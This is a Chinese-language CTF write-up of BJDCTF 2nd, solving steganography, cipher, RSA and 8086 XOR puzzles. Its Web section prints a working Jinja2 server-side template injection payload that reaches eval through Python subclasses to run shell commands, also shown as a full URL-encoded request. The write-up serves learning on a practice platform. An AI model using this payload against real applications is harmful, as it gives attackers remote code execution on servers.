引言
本届BJDCTF由江苏科技大学、北京工业大学、西南民族大学、杭州师范大学、 江苏大学、湖南工业大学(排名不分先后)联合举办
划水划水~ 周末水了一下 BJDCTF 2nd。
看了一下,好像 BJDCTF 2020 已经有过一轮比赛了唉,这是第二届了???(一个月一届?
官方声称这是一个萌新赛,总体难度不算很大,于是就来玩了一下。
然而喵喵喵,的确让我知道了自己本来就是萌新。嘤嘤嘤。
题目在这里↓。
这次玩的不多,主要做了点 Misc, Crypto, Reverse 的题,Web 没怎么看(后面可能会学一下 PHP、SQL 吧),pwn 没看……
简单写一下 WriteUp 吧,有的参考了一下大佬们的思路,不完善的后面再补吧。
MISC
最简单的misc-y1ng
压缩包伪加密,末尾两个 504B0102 之后的加密位改为 00.
解压后看到是 IHDR ,噢是 png,补上文件头 89504E47.
得到下面的图片。
424A447B79316E677A756973687561697D
hex 转 ASCII
BJD{y1ngzuishuai}
A_Beautiful_Picture
图片大小改了。。
得到
EasyBaBa
图片二进制拼接隐写,提取得到压缩包,压缩包里是 里面都是出题人.jpg
。
十六进制编辑器看发现是 avi 格式。改后缀播放,噢是 性感钉钉在线求饶 的视频。
发现插入了几个图片,还有二维码。
于是 PR 大法好。逐帧看得到下面几张二维码。
分别得到
6167696E5F6C -> agin_l
6F76655F59 -> ove_Y
424A447B696D -> BJD{im
316E677D -> 1ng}
连成一句话
BJD{imagin_love_Y1ng}
(这俩啥关系唉 嘤嘤嘤
Real_EasyBaBa
刚开始以为是 LSB 之类的,看了各个图层都没明显的,但整体都是有明显的颗粒感……
后来以为是和上面那题的图有关系,对两张图做了加减等等操作,没有收获。
再看 hex 数据,这一堆还是感觉像二维码,这么规则的0和1。
最后,在我准备关掉 010editor 的时候,伸了个懒腰,从远处看,啊!
这也太有脑洞了吧!(自行脑补将FF
或ÿÿ
看成是实线就行)
于是得到flag。
BJD{572154976}
(这好像是 imagin 师傅的QQ号唉
Imagin - 开场曲
之前就看过这个 mikutap,前几天晚上还有个学弟 at 我来一起玩(探究)的……
就是这个→http://taqini.space/mikutap/ ,多有意思呢。
他这个每一个按键对应着一个音调和一个动画,理论上可以逆向回去得到 flag。
拖进 PR 了反复听了好多遍,确定了几个字符,比如第一个字符应该是M
……
原来是根据音调和动画来判断的,换了一个浏览器,发现动画不一样了,草(一种植物),不玩了惹。
思路感觉可以先录一段 BGM,做一个 sub 把视频中的 BGM 去除。而后给每一个按键录一个,确定映射关系,理论上就能唯一对应上原始按键。
(感觉直接听出来的真强,怕不是音游大佬?
TARGZ-y1ng
这道题之前一直没解出来,最后放了 hint 说解压密码是文件名。
于是手动解压了几个……每个都是上一个的密码。
发现这样估计好久都解不完,于是写 jio 本!
搜了一下压缩包解压的 API,改了一下别人的代码,写了个循环。
考虑到最后的 flag 套娃很多不方便打开,于是就统一解压到一个相同的目录下好了。
import sys
import os
import zipfile
def unzip_single(src_file, dest_dir, password):
'''
解压单个文件到目标文件夹。
'''
if password:
password = password.encode()
zf = zipfile.ZipFile(src_file)
try:
zf.extractall(path=dest_dir, pwd=password)
except RuntimeError as e:
print(e)
zf.close()
if __name__ == '__main__':
source_dir = r'./hW1ES89jF'
dest_dir = r'./hW1ES89jF'
password = 'OKMIlLVft'
i = 1
while True:
entry_dir = dest_dir + '/' + password + '.tar.gz'
print(i, password)
dest_dir = source_dir + '/' + password
unzip_single(entry_dir, dest_dir, password)
entry = list(os.scandir(dest_dir))[0]
if entry.is_file() and os.path.splitext(entry.name)[1] == '.gz':
password = os.path.splitext(entry.name)[0][:-4]
else:
print('error!')
print(entry)
i += 1
跑了一下发现最后在8L0WifU3G
这个目录下,套娃了 299 还是 300个压缩包……
打开得到 flag:
BJD{wow_you_can_rea11y_dance}
小姐姐-y1ng
这题看了好久都没做出来……知道图片上有明显的错位,010editor 的脚本跑不下去。肯定是插入了东西。
用了 strings 找,然而太懒没开 Ubuntu,没用上 grep,于是出了一堆字符串没发现 BJD……
怪我懒了(连 PentestBox 都懒得开,Ctrl + F 都懒得用
BJD{haokanma_xjj}
Reverse
guessgame
猜大小的游戏唉。玩个毛线,没有flag!
丢 IDA 里,看字符串就得到 flag。
BJD{S1mple_ReV3r5e_W1th_0D_0r_IDA}
果然是个随机数逗你玩呢。
8086
看亚子只是把数据移到 DS 里,然后就死循环了。
之前学的微机原理 汇编忘得差不多了……(想起来这学期 DSP 后面编程还要用到 emmm
在 seg dseg 里有这一坨
]U[du~|t@{z@wj.}.~q@gjz{z@wzqW~/b;
想了半天不知道是什么。。base91 解码不行。
难道是大小端问题? 不是。
后面打开了ASCII表,既然 flag 格式是 BJD{.+}
,前四位肯定对应着BJD{
。这里对应着列出来。
Bin (二进制) | Oct (八进制) | Dec (十进制) | Hex (十六进制) | 缩写/字符 |
---|---|---|---|---|
0111 1101 | 0175 | 125 | 0x7D | } |
0100 0010 | 0102 | 66 | 0x42 | B |
0101 0101 | 0125 | 85 | 0x55 | U |
0100 1010 | 0112 | 74 | 0x4A | J |
0110 0100 | 0144 | 100 | 0x64 | d |
0111 1011 | 0173 | 123 | 0x7B | { |
突然就发现了规律!
二进制后四位明显是取了反,前四位中的最低位也取了个反。
py一下,写了个jio本。
# -*- coding:utf-8 -*-
s = ']U[du~|t@{z@wj.}.~q@gjz{z@wzqW~/b;'
output = ''
for i in s:
temp = (ord(i) ^ 0x0f)
temp = chr(temp ^ 0x10) # 或者直接 ^ 0x1f
print(temp)
output += temp
print(output)
# BJD{jack_de_hu1b1an_xuede_henHa0}$
于是得到 flag 了!
BJD{jack_de_hu1b1an_xuede_henHa0}
嘤 要好好学汇编呢(
看了 WP 发现原来是解密的代码被 IDA 当成是数据了(就是
assume ss:dseg, ds:nothing
上面的那一部分)。奇怪了我拿 emu8086 模拟器也没看到这一段,还跑死循环了。噢,本来就没跑到解密那部分代码!
偷一下出题师傅的源代码,来自这里。
DATAS SEGMENT str1 DB 5dH,55H,5bH,64H,75H,7eH,7cH,74H DB 40H,7bH,7aH,40H,77H,6aH,2eH,7dH,2eH DB 7eH,71H,40H,67H,6aH,7aH,7bH,7aH,40H DB 77H,7aH,71H,57H,7eH,2fH,62H,59 DATAS ENDS STACKS SEGMENT STACKS ENDS CODES SEGMENT ASSUME CS:CODES,DS:DATAS,SS:STACKS loc: jmp loc mov CX,34 lea BX,str1 lop: mov DI,CX dec DI xor BYTE PTR [BX][DI],31 loop lop lea DX,str1 mov AH,09H int 21H ret START: MOV AX,DATAS MOV DS,AX call loc MOV AH,4CH INT 21H CODES ENDS END START
解密的部分在
lop
里,果然是和 31(0x1F)做 xor。
Crypto
签到-y1ng
QkpEe1czbGMwbWVfVDBfQkpEQ1RGfQ==
base64 就行了。
BJD{W3lc0me_T0_BJDCTF}
燕言燕语-y1ng
79616E7A69205A4A517B78696C7A765F6971737375686F635F73757A6A677D20
hex to ASCII:
yanzi ZJQ{xilzv_iqssuhoc_suzjg}
这个试了各种密码,真没想到是 vigenere 密码,还在想 yanzi 是干啥用的……
(下次先考虑带有密钥的
BJD{yanzi_jiushige_shabi}
Y1nglish-y1ng
Nkbaslk ds sef aslckdqdqst. Sef aslckdqdqst qo lzqtbw usf ufkoplkt zth oscpslsfko. Dpkfk zfk uqjk dwcko su dscqao qt dpqo aslckdqdqst, kzap su npqap qo jkfw mzoqa. Qu wse zfk qtdkfkodkh qt tkdnsfw okaefqdw, nkbaslk ds czfdqaqczdk. Bkd lk dkbb wse z odsfw.
Q nzo pzjqtv hqttkf zd z fkodzefztd npkt Pzffw Odkkbk azlk qt, pk qo z Izcztkok ufsl Izczt med tsn pk qo tsd bqjqtv qt Izczt, lzwmk Pzffw qot'd z Izcztkok tzlk med pk qo fkzbbw z Izcztkok. Pzffw nsfwkh qt z bznwkf'o suuqak wkzfo zvs, med pk qo tsn nsfwqtv zd z mztw. Pk vkdo z vssh ozbzfw, med pk zbnzwo msffsno lstkw ufsl pqo ufqktho zth tkjkf czwo qd mzaw. Pzffw ozn lk zth azlk zthozdzd dpk ozlk dzmbk. Pk pzo tkjkf msffsnkh lstkw ufsl lk. Npqbk pk nzo kzdqtv, Q zowkh pql ds bkth lk &2. Ds lw oefcfqok, pk vzjk lk dpk lstkw qllkhqzdkbw. 'Q pzjk tkjkf msfffsnkh ztw lstkw ufsl wse,' Pzffw ozqh,'os tsn wse azt czw usf lw hqttkf!' Tsn q nqbb vqjk wse npzd wse nztd.
MIH{cwdp0t_Mfed3_u0fa3_sF_geqcgeqc_ZQ_Af4aw}
整了半天不知道咋办,最后想起来还有个词频大法!
搜了一下,这个网站 可以分析词频。
很明显MIH
对应着BJD
。下面最像的就是这个了。
Welcome to our competition. Our competition is mainly for freshmen and sophomores. There are five types of topics in this competition, each of which is very basic. If you are interested in networy security, welcome to participate. Let me tell you a story. I was having dinner at a restaurant when Harry Steele came in, he is a Japanese from Japan but now he is not living in Japan, maybe Harry isn't a Japanese name but he is really a Japanese. Harry woryed in a lawyer's office years ago, but he is now worying at a bany. He gets a good salary, but he always borrows money from his friends and never pays it bacy. Harry saw me and came andsatat the same table. He has never borrowed money from me. While he was eating, I asyed him to lend me &2. To my surprise, he gave me the money immediately. 'I have never borrrowed any money from you,' Harry said,'so now you can pay for my dinner!' Now i will give you what you want.
BJD{pyth0n_Brut3_f0rc3_oR_quipquip_AI_Cr4cy}
然而交上去不对。。
看了 hint 说
改成Cr4zy是错误的
突然想到是crack
!于是得到 flag。(真就 quipquip 这个网站啊
BJD{pyth0n_Brut3_f0rc3_oR_quipquip_AI_Cr4ck}
cat_flag
这是一张有着一堆喵喵的 gif。
8*10,想到是8位的 ASCII,10个字符。
01000010 果然是 B
01111011 果然是 {
,之后是
01001101 00100001 01100001 00110000 01111110 01111101
于是得到flag:BJD{M!a0~}
真的是喵喵呀!
灵能精通-y1ng
身经百战的Y1ng已经达到崇高的武术境界,以自律克己来取代狂热者的战斗狂怒与传统的战斗形式。Y1ng所受的训练也进一步将他们的灵能强化到足以瓦解周遭的物质世界。借由集中这股力量,Y1ng能释放灵能能量风暴来摧毁敌人的心智、肉体与器械。
之前只知道猪圈密码,找了半天才发现了这个编码。
圣堂武士密码 (Templar Cipher) 是共济会的“猪圈密码”的一个变种,一直被共济会圣殿骑士用。
得到 IMKNIGHTSTEMPLAR
最终 flag 为 flag{IMKNIGHTSTEMPLAR}
。
老文盲了
罼雧締眔擴灝淛匶襫黼瀬鎶軄鶛驕鳓哵眔鞹鰝
这题还以为是佛曰,结果发现不是……
看到别人提示发现真的蠢,下次先拿去给翻译读一遍就知道 flag 了。
啊不对- -
flag 是 BJD{淛匶襫黼瀬鎶軄鶛驕鳓哵}
。
圣火昭昭-y1ng
这个是佛曰了,不过是新佛曰。
新佛曰:諸壽隸僧壽降吽壽諸壽陀壽摩隸僧缽薩願心壽咤壽囉寂壽闍諸壽哆壽慧壽聞壽色吽愍壽所壽蜜如
找了半天没找到解密网站。。来,收藏夹请。
得到 gemlovecom
开局一张图,flag全靠猜
因为出题人失误搞错了,解出来的key去掉后3位的com
去掉com
套上 BJD
交上去发现不是。
想到可能这还是个 key/密钥。试了 F5 发现不是。
后来看别人的 WP 才知道是 outguess 图像隐写。(回去补一补
来了来了。
GitHub 仓库:https://github.com/crorvick/outguess
OutGuess is a universal steganographic tool that allows the insertion
of hidden information into the redundant bits of data sources. The
nature of the data source is irrelevant to the core of OutGuess. The
program relies on data specific handlers that will extract redundant
bits and write them back after modification. In this version the PNM
and JPEG image formats are supported. In the next paragraphs, images
will be used as concrete example of data objects, though OutGuess can
use any kind of data, as long as a handler is provided.git clone https://github.com/crorvick/outguess.git cd outguess ./configure && make && make install
(可能需要 sudo
常用的指令就加密和解密了。
outguess -k "my secret key" -d hidden.txt demo.jpg out.jpg # 加密 outguess -k "my secret key" -r out.jpg hidden.txt # 解密
outguess -k "gemlove" -r sheng_huo_zhao_zhao.jpg hidden.txt
得到 flag:
BJD{wdnmd_misc_1s_so_Fuck1ng_e@sy}
rsa0
噫???啥时候出的 RSA?没发现……
来补一下吧。nc 连上,性感xx在线发题。(题目每个环境好像不同)
e=8490247
p+q=21369803408498318739708021526026723998776452182678577483200290221438162215918869820587899450236798144391224673258554041165789338090777089646275960540717728
p-q=306146015710299885882907488963590997669550770952584505436005104300551321544811637977008351542375001985864015345039058904779091905194377534370393296886314
c=96533573625923830275446881118319408503602914319563862122714988417081897004192103015036939165809559375266874500604915724088338754724344545059907114669824228931409760092764538519264244823654706558401180531000987759255359721495957457449739266870026844498908937249390027970957614362784724540009268878226262563888
flag=??????
分别求得
p = 10837974712104309312795464507495157498223001476815580994318147662869356768731840729282453900889586573188544344301796550035284214997985733590323176918802021
q = 10531828696394009426912557018531566500553450705862996488882142558568805447187029091305445549347211571202680328956757491130505123092791356055952783621915707
N = 114143693083732767570968317133346423549060454090175301453735671171095767847167710539383793168600011860725545060200762757793552681268747848968704851107766270420356743799632674648383021525392085925089984102330388262453473594582267963382904432339836113984790742410134450191464532864589123878301032917283483243847
d = 50742668784054743796077308928583295672870545303739312689100966737709824813210506078737292591220582907244279005756665043057883285178390377660818970279568204675194935893051526661876109033037071837499249580434595390423343646371583506816678001938953327743693429532902954037961714874373553064053942402868925112743
而后利用 m = pow(c, d, p*q)
求得
m=14337636555111949737591403676611178785005554188521046827164791353101910846974617354025302694785689419018
转 Hex 再转 ASCII,得到 flag
flag{656092c1-50bb-459c-89ec-4cabc69b4f3e}
也可以用
long_to_bytes
(需要安装密码库pip install pycryptodome
)from Crypto.Util import number print(number.long_to_bytes(m))
想起来之前说要装 GitHub 上那个 python 的 CTF-RSA-tool 还没装……
rsa1
nc 连上,得到题目。
e=12907381
p^2+q^2=102932491463627835236007836419728692812257769950144692124303780069034558043288683315680953131433063800883414074678408539431834987237784935126939862697346288221662934067206187303336972862679183761578127642359897410735067557329508997996877528676457832325049393014306728671643082858956472153689328530485292574802
p-q=-185309818765397657063788122823542341789780127021615886794410874236918862158685471447960359346072372178791917183606614428484134793166273614667932437583552
c=30690312081989972161704287726249224946940662102974666523203576217410481202381028355251332967180090326230702940141819337845402788001804202167909768819975074688832043578916709160998681086084701179452449493798807368207904007880376512732622389948601375493793025349147924632369047347529229462962308486909978038157
flag=??????
再来一次
e=10288339
p^2+q^2=102932491463627835236007836419728692812257769950144692124303780069034558043288683315680953131433063800883414074678408539431834987237784935126939862697346288221662934067206187303336972862679183761578127642359897410735067557329508997996877528676457832325049393014306728671643082858956472153689328530485292574802
p-q=-185309818765397657063788122823542341789780127021615886794410874236918862158685471447960359346072372178791917183606614428484134793166273614667932437583552
c=40022015279445190961446033046832809408451288751696588671880831212771863683480569497860194263202064993145631813232350651196681717050659541769219283733622429570927906815646087878932340172422964403729228165631808591658687044189905364508055754933678525530280551473343005313236082014906927913996378291225656288550
flag=??????
p 和 q 不变,则
$$
n = p*q = \frac{p^2 + q^2 - (p-q)^2}{2}
$$
不变,考虑是共模攻击,后面来填坑。(等我装上 RSA tools
Web
这次没怎么看 Web 题……((
fake google
看到返回的页面上有个注释
<!--ssssssti & a little trick -->
试了一下{{1-1}}
可以得到 0,于是就是 SSTI 了。好像都不需要绕过。
payload:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cd /;cat flag").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
http://f7ddf918-4b30-4225-b5c9-761bae6f5fdd.node3.buuoj.cn/qaq?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}%20%20{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}%20%20{%%20if%20b.__class__%20==%20{}.__class__%20%}%20%20%20%20{%%20if%20%27eval%27%20in%20b.keys()%20%}%20%20%20%20%20%20{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22cd%20/;cat%20flag%22).read()%27)%20}}%20%20%20%20{%%20endif%20%}%20%20{%%20endif%20%}%20%20{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}
flag{8c252513-5c42-47fd-95b5-4d13a986e6d0}
(貌似是动态 flag
elementmaster
手绘的唉(重点不对
这里的id
转 ASCII 得到 Po.php
。
访问发现内容是一个 .
,懵了。
给了 hint 说mendeleev=门捷列夫
,还有 from requests import *
。
最后放了元素周期表……这脑洞真没想到。。
就是用元素周期表的元素去跑xx.php
啦。(难怪扫描器没用
收个尾
感觉这次 Crypto 和 Misc 题目本来就不怎么难,然而做起来感觉比较佛系,直接盲目上手,思路不大对,还懒。
有挺多套路没接触过的,脑洞还要大一点呢,后面有空再理一下做题的思路吧。
噢,官方 WP 也出来了,戳这里吧。
嘤,还有一堆作业没补。
溜了溜了。